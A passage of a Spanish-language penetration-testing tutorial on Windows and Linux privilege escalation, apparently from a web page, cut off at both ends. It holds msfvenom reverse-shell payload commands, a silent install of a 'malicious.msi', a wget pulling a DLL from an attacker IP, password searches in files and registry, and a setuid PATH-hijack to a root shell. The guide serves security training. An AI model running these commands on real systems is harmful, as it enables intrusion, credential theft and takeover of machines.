user<\/code><\/code><\/pre>\n\n\n\n<p>Otros usuarios que iniciaron sesi\u00f3n:\u00a0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><code>qwinsta<\/code><\/code><\/pre>\n\n\n\n<p>Grupos de usuarios definidos en el sistema:\u00a0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><code>net localgroup<\/code><\/code><\/pre>\n\n\n\n<p>Lista de miembros de un grupo espec\u00edfico\u00a0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><code>net localgroup<\/code><\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">Enumeraci\u00f3n del sistema<\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>systeminfo<\/code><\/pre>\n\n\n\n<p>devolver\u00e1 una descripci\u00f3n general del sistema. Puede usar<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>findstr<\/code><\/pre>\n\n\n\n<p>ara filtrar la salida.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">B\u00fasqueda de archivos<\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>findstr<\/code><\/pre>\n\n\n\n<p>El comando se puede usar para buscar archivos en el ejemplo del (sub)directorio: findstr \/si password *.txt<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">A nivel de Parches<\/h5>\n\n\n\n<p>Microsoft lanza actualizaciones y parches para sistemas Windows. Un parche cr\u00edtico en el sistema de destino puede ser f\u00e1cilmente explotable para escalada de privilegios. El siguiente comando se utiliza para enumerar las actualizaciones instaladas:\u00a0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>wmic qfe get Caption,Description,HotFixID,InstalledOn<\/code><\/pre>\n\n\n\n<p>WMIC es una herramienta de l\u00ednea de comandos en Windows que proporciona una interfaz para el Instrumental de administraci\u00f3n de Windows (WMI). Puede hacer m\u00e1s que solo dar informaci\u00f3n sobre los parches instalados. Se puede utilizar para buscar vulnerabilidades de ruta de servicio sin comillas. WMIC est\u00e1 obsoleto en Windows 10, versi\u00f3n 21H1. Para versiones m\u00e1s nuevas, debe usarse cmdlet en PowerShell.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">Conexiones de red<\/h5>\n\n\n\n<p>Es posible que se haya realizado un escaneo nmap en el objetivo inicial, as\u00ed que ya sabe lo que se est\u00e1 ejecutando. Pero algunos servicios solo son accesibles localmente. El comando<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>netstat -ano<\/code><\/pre>\n\n\n\n<p>numerar\u00e1 todos los puertos de escucha en el sistema de destino.<\/p>\n\n\n\n<p>-a: muestra todas las conexiones activas<\/p>\n\n\n\n<p>-n: impide la resoluci\u00f3n de nombres. Las direcciones IP y los puertos se muestran con un n\u00famero.<\/p>\n\n\n\n<p>-o: muestra el PID utilizado por cada proceso<\/p>\n\n\n\n<p>Cualquier puerto enumerado como \u201cESCUCHANDO\u201d que no se descubri\u00f3 con el escaneo externo puede ser un servicio local potencial.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">Tareas programadas<\/h5>\n\n\n\n<p>Algunas tareas pueden programarse para ejecutarse en momentos espec\u00edficos. Si se ejecutan con una cuenta privilegiada y el ejecutable puede ser modificado por el usuario actual que tiene, ser\u00eda un camino f\u00e1cil para la escalada de privilegios.<\/p>\n\n\n\n<p>Para comprobar esto, puede ejecutar el schtasks<\/p>\n\n\n\n<p>Para ver todas las tareas en detalle utilice el<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>schtasks \/query \/fo LIST \/v<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">Antivirus<\/h5>\n\n\n\n<p>A veces ha que lidiar con AV, tambi\u00e9n conocido como Antivirus. El antivirus puede hacer que pierda su shell si no intenta evadirlo. Siempre es una buena idea verificar si el antivirus est\u00e1 presente y funcionando.<\/p>\n\n\n\n<p>Para verificar si Windows Defender se est\u00e1 ejecutando, podemos usar el comando&nbsp;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sc query windefend<\/code><\/pre>\n\n\n\n<p>Para verificar si alg\u00fan AV se est\u00e1 ejecutando en un servicio espec\u00edfico, podemos usar el\u00a0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sc queryex type=service<\/code><\/pre>\n\n\n\n<p>Herramientas autom\u00e1ticas para enumeraci\u00f3n:\u00a0<strong>WinPEAS<\/strong>,\u00a0<strong>PowerUp<\/strong>,\u00a0<strong>Windows Exploit Suggester<\/strong>,\u00a0<strong>Metasploit<\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">1.5.1.2. Software Vulnerable<\/h4>\n\n\n\n<p>El software instalado en un sistema puede ser una oportunidad de escalada de privilegios. Es posible que las organizaciones o usuarios no actualicen con tanta frecuencia como el sistema operativo. Podemos usar la herramienta wmic para listar el software instalado en el sistema y sus versiones. wmic enumerar\u00e1 todo el software instalado en el objetivo. Para obtener una salida limpia podemos usar<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>wmic product get name,version,vendor<\/code><\/pre>\n\n\n\n<p>Debido a algunos problemas de compatibilidad con versiones anteriores es posible que el producto wmic no incluya los programas instalados. Por lo tanto, vale la pena verificar los servicios en ejecuci\u00f3n usando el comando<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>wmic service list brief<\/code><\/pre>\n\n\n\n<p>y puede filtrar la salida con\u00a0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>findstr<\/code><\/pre>\n\n\n\n<p>si se requiere.<\/p>\n\n\n\n<p>Para listar m\u00e1s informaci\u00f3n sobre un servicio puede utilizar<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sc qc \"\"<\/code><\/pre>\n\n\n\n<p>En este punto, puede encontrar cualquier posible explotaci\u00f3n de escalada de privilegios que pueda usarse contra el software instalado en el sistema de destino.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">1.5.1.3. Secuestro de DLL<\/h4>\n\n\n\n<p>El secuestro de DLL es una t\u00e9cnica efectiva que puede permitir inyectar c\u00f3digo en una aplicaci\u00f3n. Algunos ejecutables (.exe) usar\u00e1n bibliotecas de v\u00ednculos din\u00e1micos (DLL) cuando se ejecuten. Son archivos que almacenan funciones adicionales que admiten los archivos .exe principales. Si podemos cambiar un archivo DLL leg\u00edtimo por un archivo DLL malintencionado, la aplicaci\u00f3n ejecutar\u00e1 nuestro c\u00f3digo. Se requiere una aplicaci\u00f3n .exe al que le falte un archivo DLL o en el que se puede usar el orden de b\u00fasqueda para insertar el archivo DLL malicioso.<\/p>\n\n\n\n<p>El propio Windows usa muchos archivos DLL que se almacenan en&nbsp;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>C:\\Windows\\System32<\/code><\/pre>\n\n\n\n<p>Una sola DLL se puede usar en muchos ejecutables diferentes o en un solo ejecutable.<\/p>\n\n\n\n<p>Para hacer un DLL Hijacking exitoso necesitamos:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Una aplicaci\u00f3n que utiliza uno o m\u00e1s archivos DLL<\/li>\n\n\n\n<li>Una forma de manipular estos archivos DLL Manipular archivos DLL podr\u00eda significar reemplazar o crear un archivo en la ubicaci\u00f3n donde la aplicaci\u00f3n est\u00e1 buscando. Para tener una mejor idea de esto, necesitamos saber d\u00f3nde buscan las aplicaciones los archivos DLL. Microsoft tiene un documento sobre este tema\u00a0<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/dlls\/dynamic-link-library-search-order\">aqu\u00ed<\/a>. Si SafeDllSearchMode est\u00e1 habilitado el orden es:<\/li>\n\n\n\n<li>El directorio desde el que se carg\u00f3 la aplicaci\u00f3n.<\/li>\n\n\n\n<li>El directorio del sistema. La funci\u00f3n\u00a0<code><strong>GetSystemDirectory<\/strong><\/code>\u00a0para obtener la ruta de este directorio.<\/li>\n\n\n\n<li>El directorio de Windows. Funci\u00f3n <strong>GetWindowsDirectory<\/strong> para obtener la ruta de este directorio.<\/li>\n\n\n\n<li>El directorio actual.<\/li>\n\n\n\n<li>Los directorios que se enumeran en la variable de entorno PATH.<\/li>\n<\/ul>\n\n\n\n<p>Si SafeDllSearchMode est\u00e1 deshabilitado:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>El directorio desde el que se carg\u00f3 la aplicaci\u00f3n.<\/li>\n\n\n\n<li>El directorio actual.<\/li>\n\n\n\n<li>El directorio del sistema. Funci\u00f3n\u00a0<code><strong>GetSystemDirectory<\/strong><\/code>\u00a0para obtener la ruta de este directorio.<\/li>\n\n\n\n<li>El directorio de Windows. Funci\u00f3n<strong>\u00a0<code>GetWindowsDirectory<\/code><\/strong>\u00a0para obtener la ruta de este directorio.<\/li>\n\n\n\n<li>Los directorios que se enumeran en la variable de entorno PATH.<\/li>\n<\/ul>\n\n\n\n<h5 class=\"wp-block-heading\">Encontrar vulnerabilidades en el secuestro de DLL<\/h5>\n\n\n\n<p>La identificaci\u00f3n de una vulnerabilidad de DLL requerir\u00e1 el uso de herramientas o secuencias de comandos adicionales en el sistema, aunque esto puede causar un ruido innecesario. Una herramienta que puede usar para encontrar una vulnerabilidad potencial es Process Monitor.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">Creando un DLL malicioso<\/h5>\n\n\n\n<p>Como los archivos DLL mencionados son archivos ejecutables, ser\u00e1n ejecutados por el archivo ejecutable y se ejecutar\u00e1n los comandos que contienen. El archivo DLL podr\u00eda ser un shell inverso o un comando del sistema operativo.<\/p>\n\n\n\n<p>Para compilar una pieza de c\u00f3digo C en un archivo DLL, se usa el compilador Mingw. Esto se puede instalar usando la instalaci\u00f3n&nbsp;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>apt gcc-mingw-w64-x86-64<\/code><\/pre>\n\n\n\n<p>Para generar el c\u00f3digo podemos usar el siguiente comand<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll<\/code><\/pre>\n\n\n\n<p>Una vez compilado, necesitaremos mover el archivo .DLL a la m\u00e1quina local, podemos hacerlo usando un servidor python local, por ejemplo, y luego usando el comando wget en powershell.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>wget -O test.dll http:\/\/10.11.46.156:8000\/test.dll<\/code><\/pre>\n\n\n\n<p>Luego de colocar el archivo .DLL en su lugar tendremos que iniciar el servicio nuevamente usando el siguiente comando:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sc stop start<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">1.5.1.4. Unquoted Service Path<\/h4>\n\n\n\n<p>Cuando se inicia un servicio, el sistema operativo tiene que buscar el ejecutable. El servicio netlogon se refiere al binario<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>C:\\Windows\\system32\\lsass.exe<\/code><\/pre>\n\n\n\n<p>Si C:\\Program Files\\topservice folder\\subservice subfolder\\srvc.exe, este camino no ser\u00eda simplemente diferente de \u201cC:\\Program Files\\topservice folder\\subservice subfolder\\srvc.exe\u201d. Windows sabe que est\u00e1 buscando un archivo ejecutable (.exe). Si la ruta est\u00e1 escrita entre comillas, ir\u00e1 directamente a la ubicaci\u00f3n correcta. Si no y alg\u00fan nombre de carpeta en la ruta tiene un espacio, Windows agregar\u00e1 \u00ab.exe\u201d y comenzar\u00e1 a buscar un ejecutable, comenzando con la ruta m\u00e1s corta posible . Si falla, se realizar\u00e1 otro intento en el siguiente subdirectorio. Hasta que se encuentre el ejecutable. Explotar esta vulnerabilidad requiere permisos de escritura en una carpeta donde el servicio buscar\u00e1 un ejecutable.<\/p>\n\n\n\n<p>El comando<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>wmic service get name,displayname,pathname,startmode<\/code><\/pre>\n\n\n\n<p>enumerar\u00e1 los servicios que se ejecutan en el sistema de destino, el nombre para mostrar y la ruta. Si encuentra un servicio interesante sin el uso de comillas, se puede utilizar<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sc qc unquotedsvc<\/code><\/pre>\n\n\n\n<p>para verificar la ruta completa del servicio.<\/p>\n\n\n\n<p>Confirmado que la ruta binaria no est\u00e1 entrecomillada, deber\u00e1 verificar si se puede escribir en la carpeta de la ruta. Puede hacerlo manualmente o usar una herramienta llamada accesschk.exe.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\\accesschk64.exe \/accepteula -uwdq \"C:\\\"<\/code><\/pre>\n\n\n\n<p>istar\u00e1 el grupo de usuarios con privilegios de lectura (r) y escritura (w) en la carpeta C:\\. Puedes descargarse en GitHub<\/p>\n\n\n\n<p>Despu\u00e9s de verificar si se puede escribir en la ruta, podemos generar un ejecutable con MSFvenom y capturarlo con un controlador m\u00faltiple.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfvenom -p windows\/x64\/shell_reverse_tcp LHOST=X LPORT=X -f exe > nombre_exec.exe<\/code><\/pre>\n\n\n\n<p>Una vez que se haya generado y movido el archivo a la ubicaci\u00f3n, reiniciar el servicio vulnerable<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sc start<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">1.5.1.5. Token Impersonation<\/h4>\n\n\n\n<p>Las cuentas de servicio pueden tener un nivel de privilegio mas alto que los usuarios predeterminados de bajo nivel. En las versiones de Windows anteriores a Server 2019 y 10 (versi\u00f3n 1809), se ven afectadas por una vulnerabilidad interna de MitM. Las cuentas de servicio con privilegios m\u00e1s altos se ver\u00e1n obligadas a autenticarse en un puerto local en el que escucharemos. Una vez que intenta autenticarse, esta solicitud se modifica para negociar un token de seguridad para la cuenta \u201cNT AUTHORITY\\SYSTEM\u201d. El usuario puede usar este token en un proceso llamado \u201csuplantaci\u00f3n\u201d.<\/p>\n\n\n\n<p>Utilizando<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>whoami \/priv<\/code><\/pre>\n\n\n\n<p>podemos ver los permisos de usuario regulares. En Windows Server 2019 y Windows 10 (versi\u00f3n 1809), un usuario no tiene derecho al privilegio \u201cSeImpersonatePrivilege\u201d.<\/p>\n\n\n\n<p>Hay muchas vulnerabilidades en torno a este privilegio de suplantaci\u00f3n de identidad (Hot Potato, Rotten Potato, etc.) El primer exploit fue Hot Potato, as\u00ed es como funciona el exploit:<\/p>\n\n\n\n<p>1.- El sistema de destino utiliza el protocolo de detecci\u00f3n autom\u00e1tica de proxy web para ubicar su servidor de actualizaci\u00f3n.<\/p>\n\n\n\n<p>2.- La solicitud es interceptada por el exploit, que env\u00eda una respuesta al host local<\/p>\n\n\n\n<p>3.- El sistema de destino solicita un archivo de configuraci\u00f3n de proxy (wpad.dat)<\/p>\n\n\n\n<p>4.- Se env\u00eda un archivo wpad.dat malicioso al objetivo.<\/p>\n\n\n\n<p>5.- El sistema de destino intenta conectarse al proxy, que ahora es el archivo malicioso wpad.dat.<\/p>\n\n\n\n<p>6.- El exploit le pedir\u00e1 al sistema de destino que realice una autenticaci\u00f3n NTLM<\/p>\n\n\n\n<p>7.- el sistema de destino env\u00eda un protocolo de enlace NTLM.<\/p>\n\n\n\n<p>8.- El protocolo de enlace recibido se transmite al servicio SMB con una solicitud para crear un proceso.<\/p>\n\n\n\n<p>La versi\u00f3n de \u201cPotato\u201d funcional puede variar seg\u00fan la versi\u00f3n del sistema de destino, el nivel de parcheo y la limitaci\u00f3n de la conexi\u00f3n de red. Si bien \u201cHot Potato\u201d funciona dentro del sistema de destino, otras versiones requieren acceso a la red a trav\u00e9s de puertos espec\u00edficos.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">1.5.1.6. Escalada R\u00e1pida<\/h4>\n\n\n\n<p>En ocasiones la escalada de privilegios puede ser sencilla debido a los descuidos en las configuraciones de los sistemas por parte de un administrador.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">Tareas Programadas<\/h5>\n\n\n\n<p>Al examinar las tareas programadas en el sistema, es posible ver algunas que perdieron su binario o usan un binario que puede modificar. Se puede reemplazar este binario con alg\u00fan c\u00f3digo malicioso. Este binario debe ser ejecutado por alguien con privilegios m\u00e1s altos que el que ya tiene. Puede listar las tareas usando el<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>schtasks<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"684\" height=\"350\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-58.png\" alt=\"\" class=\"wp-image-23402\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-58.png 684w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-58-300x154.png 300w\" sizes=\"(max-width: 684px) 100vw, 684px\" \/><\/figure>\n\n\n\n<h5 class=\"wp-block-heading\">Instalaci\u00f3n con privilegios por defecto<\/h5>\n\n\n\n<p>Los archivos de instalaci\u00f3n de Windows (.msi) se utilizan para instalar aplicaciones en el sistema. Por lo general se ejecutan con el nivel de privilegio del usuario que lo inicia. Sin embargo, estos pueden configurarse para ejecutarse con mayores privilegios si la instalaci\u00f3n requiere derechos de administrador que podr\u00eda permitirnos generar un archivo MSI malicioso que podemos ejecutar con privilegios de administrador.<\/p>\n\n\n\n<p>Este m\u00e9todo requiere que se configuren dos claves regedit, puede consultarlas usando la l\u00ednea de comando de esta manera:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>reg query HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\Installer\n\nreg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer<\/code><\/pre>\n\n\n\n<p>Necesitar\u00e1 establecer ambos valores de registro. De lo contrario, no ser\u00e1 explotable. Si est\u00e1 configurado, podemos generar shellcode usando msfvenom.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfvenom -p windows\/x64\/shell_reverse_tcp LHOST=X LPORT=X -f msi -o malicious.msi<\/code><\/pre>\n\n\n\n<p>Una vez que haya transferido el archivo, ejec\u00fatelo usando el siguiente comand<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msiexec \/quiet \/qn \/i C:\\Windows\\Temp\\malicious.msi<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">Passwords<\/h5>\n\n\n\n<p>Hay ubicaci\u00f3nes en Windows que podr\u00eda ocultar contrase\u00f1as en texto claro.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Credenciales guardadas<\/strong>: Windows nos permite usar las credenciales de otros usuarios. Esta funci\u00f3n tambi\u00e9n da la opci\u00f3n de guardar estas credenciales en el sistema. El siguiente comando enumerar\u00e1 las credenciales guardadas.<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>cmdkey \/list<\/code><\/pre>\n\n\n\n<p>Si ve alguna credencial al intentarlo, puede usarla con el\u00a0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>runas \/savecred \/user:admin reverse_shell.exe<\/code><\/pre>\n\n\n\n<p>Tambi\u00e9n se pueden usar modulos de Mimikatz para traer las contrase\u00f1as almacenadas.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"703\" height=\"498\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-59.png\" alt=\"\" class=\"wp-image-23403\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-59.png 703w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-59-300x213.png 300w\" sizes=\"(max-width: 703px) 100vw, 703px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Claves de registro:<\/li>\n<\/ul>\n\n\n\n<p>Las claves de registro que contienen contrase\u00f1a se pueden consultar usando los comandos<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>reg query HKLM \/f password \/t REG_SZ \/s\n\nreg query HKCU \/f password \/t REG_SZ \/s<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Archivos desatendidos:<\/li>\n<\/ul>\n\n\n\n<p>Los archivos Unattend.xml ayudan a los administradores a configurar el sistema Windows. Deben eliminarse una vez que se completa la configuraci\u00f3n, pero a veces se olvidan. Si encuentra este tipo de archivo, vale la pena leerlos.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1.5.2 Linux<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">1.5.2.1 Comandos b\u00e1sicos<\/h4>\n\n\n\n<p><strong>hostname<\/strong>: Devuelve el nombre de host de la m\u00e1quina de destino. Esto puede proporcionar informaci\u00f3n sobre la funci\u00f3n del sistema.<\/p>\n\n\n\n<p><strong>uname -a<\/strong>: proporciona informaci\u00f3n sobre el kernel utilizado por el sistema. \u00datil al buscar posibles vulnerabilidades del n\u00facleo que podr\u00edan conducir a privesc.<\/p>\n\n\n\n<p><strong>uname -r<\/strong>: para ver la versi\u00f3n del kernel.<\/p>\n\n\n\n<p><strong>cat \/proc\/version<\/strong>: proporciona informaci\u00f3n sobre los procesos del sistema, versi\u00f3n del kernel e informaci\u00f3n adicional, por ejemplo, si hay un compilador instalado.<\/p>\n\n\n\n<p><strong>cat \/etc\/issue<\/strong>: este archivo generalmente contiene informaci\u00f3n sobre el sistema operativo<\/p>\n\n\n\n<p><strong>ps<\/strong>: Para ver los procesos que se est\u00e1n ejecutando actualmente en el sistema operativo. Escribir solo ps le mostrar\u00e1 los procesos del shell actual. Salida:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PID: El ID del proceso (esto es \u00fanico para cada proceso)\nTTY: tipo de terminal\nTiempo: cantidad de tipo de CPU utilizada por el proceso\nCMD: el comando o ejecutable en ejecuci\u00f3n<\/code><\/pre>\n\n\n\n<p>Algunas opciones \u00fatiles son:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ps -A: Ver todos los procesos actualmente en ejecuci\u00f3n\nps axjf: Ver \u00e1rbol de procesos\nps aux*: Esto mostrar\u00e1 los procesos para todos los usuarios (a) muestra el usuario que inicia el proceso (u) muestra los procesos que no est\u00e1n conectados a una terminal (x). Esta es una excelente manera de comprender el sistema y buscar vulnerabilidades*.<\/code><\/pre>\n\n\n\n<p><strong>env<\/strong>: muestra las variables de entorno<\/p>\n\n\n\n<p><strong>sudo -l<\/strong>: este comando muestra todos los comandos que el usuario puede ejecutar con el comando sudo. Por lo tanto, con privilegios de root.<\/p>\n\n\n\n<p><strong>id<\/strong>: el comando id brindar\u00e1 una descripci\u00f3n general del nivel de privilegios y grupos de los usuarios.<\/p>\n\n\n\n<p><strong>\/etc\/passwd<\/strong>: leer este archivo puede ser una manera f\u00e1cil de descubrir usuarios en el sistema.<\/p>\n\n\n\n<p><strong>history<\/strong>: este comando mostrar\u00e1 los comandos anteriormente utilizados.<\/p>\n\n\n\n<p><strong>ifconfig<\/strong>: ifconfig dar\u00e1 informaci\u00f3n sobre las interfaces de red. Puede verificar esto usando el comando \u201croute ip\u201d que muestra todas las rutas actuales.<\/p>\n\n\n\n<p><strong>netstat<\/strong>: Se puede usar con varias opciones diferentes para recopilar informaci\u00f3n sobre las conexiones existentes.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>netstat -a: muestra todos los puertos y conexiones de escucha\nnetstat -at o netstat -au: se puede usar para enumerar los protocolos TCP o UDP\nnetstat -l: lista de puertos en modo de escucha, esos puertos est\u00e1n listos y abiertos para conexiones entrantes<\/code><\/pre>\n\n\n\n<p><strong>search<\/strong>: este comando permite al usuario encontrar y buscar ciertos archivos<\/p>\n\n\n\n<p>Algunas herramientas automatizadas:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/github.com\/carlospolop\/privilege-escalation-awesome-scripts-suite\/tree\/master\/linPEAS\">LinPEAS<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/github.com\/rebootuser\/LinEnum\">LinEnum<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/github.com\/mzet-\/linux-exploit-suggester\">LES<\/a>\u00a0(sugerencias de exploits de Linux)<\/li>\n\n\n\n<li><a href=\"https:\/\/github.com\/diego-treitos\/linux-smart-enumeration\">Enumeraci\u00f3n inteligente de Linux<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/github.com\/linted\/linuxprivchecker\">LinuxPrivChecker<\/a><\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">1.5.2.2.Vulnerabilidades del kernel<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Identificar la versi\u00f3n\u00a0<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><code>uname -r<\/code><\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Buscar un c\u00f3digo de explotaci\u00f3n para la versi\u00f3n del kernel del sistema<\/li>\n\n\n\n<li>Ejecutar el exploit<\/li>\n<\/ul>\n\n\n\n<p>Puede usar Google para buscar el c\u00f3digo de explotaci\u00f3n.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">1.5.2.3. Sudo<\/h4>\n\n\n\n<p>El comando sudo le permite ejecutar un programa con privilegios de root. Estos binarios pueden tener exploits conocidos. Puedes verificar la relaci\u00f3n de los procesos del usuario actual con el root usando el comando <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo -l<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">Aproveche las funciones de la aplicaci\u00f3n<\/h5>\n\n\n\n<p>Algunas aplicaciones no tendr\u00e1n un exploit conocido dentro de este contexto. En ese caso tendremos que usar un exploit manual para aprovechar la funci\u00f3n de la aplicaci\u00f3n. Con el indicador -f puede especificar un archivo de configuraci\u00f3n de servidor alternativo. Si cargamos el archivo \/etc\/shadow usando esta opci\u00f3n, obtendremos un error con la primera l\u00ednea del archivo \/etc\/shadow.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">1.5.2.4 SUID<\/h4>\n\n\n\n<p>La mayor parte de la escalada de privilegios reside en controlar usuarios y sus interacciones con los ficheros mediante permisos. Los permisos son de lectura, escritura y ejecuci\u00f3n. Sin embargo existen permisos especiales, SUID (Identificaci\u00f3n de usuario de conjunto) y SGID (Identificaci\u00f3n de grupo de conjunto). Estos permiten que los archivos se ejecuten con el nivel de permisos del propietario del archivo o del propietario del grupo.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>find \/ -type f -perm -04000 -ls 2>\/dev\/null<\/code><\/pre>\n\n\n\n<p>enumerar\u00e1 los archivos que tienen conjuntos de bits SUID o SGID.<\/p>\n\n\n\n<p>Puede comparar esos ejecutables con la lista en&nbsp;<a href=\"https:\/\/gtfobins.github.io\/\">GTFOBins<\/a>&nbsp;y buscar cualquier binario que pueda ser explotable.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">1.5.2.5. Capabilities<\/h4>\n\n\n\n<p>Otro m\u00e9todo para escalar sus privilegios es el uso de Capabilities. Ayudan a administrar los privilegios, por ejemplo, si un analista de SOC necesita usar una herramienta que necesita ciertos permisos, un usuario normal no podr\u00eda hacerlo. SI el administrador no quiere otorgar m\u00e1s permisos ni otorgar m\u00e1s privilegios al usuario, puede cambiar las capacidades del binaryt. Como resultado, el binario realizar\u00eda su tarea sin necesidad de un usuario con privilegios elevados.<\/p>\n\n\n\n<p>Podemos usar<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>getcap<\/code><\/pre>\n\n\n\n<p>para enumerar todas las capacidades habilitadas. Al ejecutar\u00a0<code>getcap -r \/<\/code>\u00a0generar\u00e1 mucho ruido, por lo que podemos usar\u00a0<code>2>\/dev\/null<\/code>\u00a0para filtrarlos.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>getcap -r \/ 2>\/dev\/null<\/code><\/pre>\n\n\n\n<p>Las capabilities enumeradas no son archivos SUID. Podemos volver a usar GTFObins para obtener una lista de binarios que se aprovechar\u00e1n para escalar privilegios si encontramos un conjunto vulnerable de capabilities.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">1.5.2.6. Tareas de cron<\/h4>\n\n\n\n<p>Las tareas cron se ejecutan en un momento espec\u00edfico. Puedes leer todos los crontabs usando el cat \/etc\/crontab, luego podemos modificar cualquier script para obtener, por ejemplo, un shell inverso. Si este script se ejecuta con privilegios de root, el shell inverso ser\u00e1 un shell de root.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">1.5.2.7. Variable PATH<\/h4>\n\n\n\n<p>PATH en Linux en una variable de entorno que le dice al sistema operativo d\u00f3nde buscar ejecutables\u00a0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo $PATH<\/code><\/pre>\n\n\n\n<p>Si escribimos \u201cprogram\u201d en la l\u00ednea de comando, esta es la ubicaci\u00f3n en la que Linux buscar\u00e1 un ejecutable llamado \u201cprogram\u201d.<\/p>\n\n\n\n<p>El siguiente script intentar\u00e1 ejecutar el binario \u201ctest\u201d y lo buscar\u00e1 en la tabla $PATH<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include &lt;unistd.h> void main() { setuid(0); setgid(0); system(\"test\"); }<\/code><\/pre>\n\n\n\n<p>Este script en c debe comp\u00edlarse usando gcc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cc test -o shell<\/code><\/pre>\n\n\n\n<p>y otorgarle permisos SUID a este archivo compilado<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>chmod u+s shell<\/code><\/pre>\n\n\n\n<p>Creamos un binario llamado \u201ctest\u201d. Este es el binario que el script .c intentar\u00e1 ejecutar una vez que agreguemos nuestra ruta a la variable PATH.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo \"\/bin\/bash\" > test<\/code><\/pre>\n\n\n\n<p>esto crear\u00e1 un binario simple que abrir\u00e1 un shell bash. Podemos alojarlo en \/tmp. Para agregar el \/tmp a 